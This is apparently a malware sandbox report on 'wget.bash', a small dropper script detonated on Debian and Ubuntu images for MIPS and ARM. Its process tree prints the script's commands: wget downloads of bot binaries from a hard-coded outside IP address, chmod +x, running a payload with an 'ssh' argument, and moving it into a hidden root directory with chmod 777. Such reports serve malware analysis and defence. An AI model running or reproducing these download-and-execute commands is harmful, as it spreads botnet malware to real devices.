Overview

overview

5

Static

static

wget.bash

ubuntu-18.04-amd64

5

wget.bash

debian-9-armhf

5

wget.bash

debian-9-mips

5

wget.bash

debian-9-mipsel

5

Resubmissions

09/08/2022, 18:31

220809-w6eersgaa25

09/08/2022, 18:18

220809-wxyr2sfgg75

Analysis

  • max time kernel
    0s
  • max time network
    601s
  • platform
    linux_mipsel
  • resource
    debian9-mipsel-en-20211208
  • resource tags

    arch:mipselimage:debian9-mipsel-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09/08/2022, 18:31

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General

  • Target
    wget.bash
  • Size 2KB
  • Sample220809-w6eersgaa2
  • SHA256 2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826
  • MD5 SHA1 SHA512
Score
5/10

Malware Config

Signatures

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.bash
    /tmp/wget.bash
    1⤵
    • Writes file to tmp directory
    PID:327
    • /usr/bin/wget
      wget http://109.206.241.211/bins/bot.mips
      2⤵
        PID:329
      • /bin/cat
        cat bot.mips
        2⤵
          PID:335
        • /bin/chmod
          chmod +x bot.mips fuwwyowo systemd-private-a5263cf9a270493fb93aad124795e38b-systemd-timesyncd.service-a76oGg wget.bash
          2⤵
            PID:336
          • ./fuwwyowo
            ./fuwwyowo ssh
            2⤵
              PID:337
            • /usr/bin/wget
              wget http://109.206.241.211/bins/bot.mpsl
              2⤵
                PID:339
              • /bin/cat
                cat bot.mpsl
                2⤵
                  PID:341
                • /bin/chmod
                  chmod +x bot.mips bot.mpsl fuwwyowo systemd-private-a5263cf9a270493fb93aad124795e38b-systemd-timesyncd.service-a76oGg wget.bash
                  2⤵
                    PID:342
                  • ./fuwwyowo
                    ./fuwwyowo ssh
                    2⤵
                      PID:343
                    • /usr/bin/wget
                      wget http://109.206.241.211/bins/bot.arm
                      2⤵
                        PID:346
                    • /bin/sh
                      sh -c "mkdir /1vgw07tti6/ && >/1vgw07tti6/1vgw07tti6 && cd /1vgw07tti6/ >/dev/null"
                      1⤵
                        PID:347
                        • /bin/mkdir
                          mkdir /1vgw07tti6/
                          2⤵
                          • Reads runtime system information
                          PID:348
                      • /bin/sh
                        sh -c "mv /tmp/fuwwyowo /1vgw07tti6/1vgw07tti6 && chmod 777 /1vgw07tti6/1vgw07tti6 >/dev/null"
                        1⤵
                          PID:349
                          • /bin/mv
                            mv /tmp/fuwwyowo /1vgw07tti6/1vgw07tti6
                            2⤵
                            • Reads runtime system information
                            PID:350
                          • /bin/chmod
                            chmod 777 /1vgw07tti6/1vgw07tti6
                            2⤵
                              PID:351

                          Network

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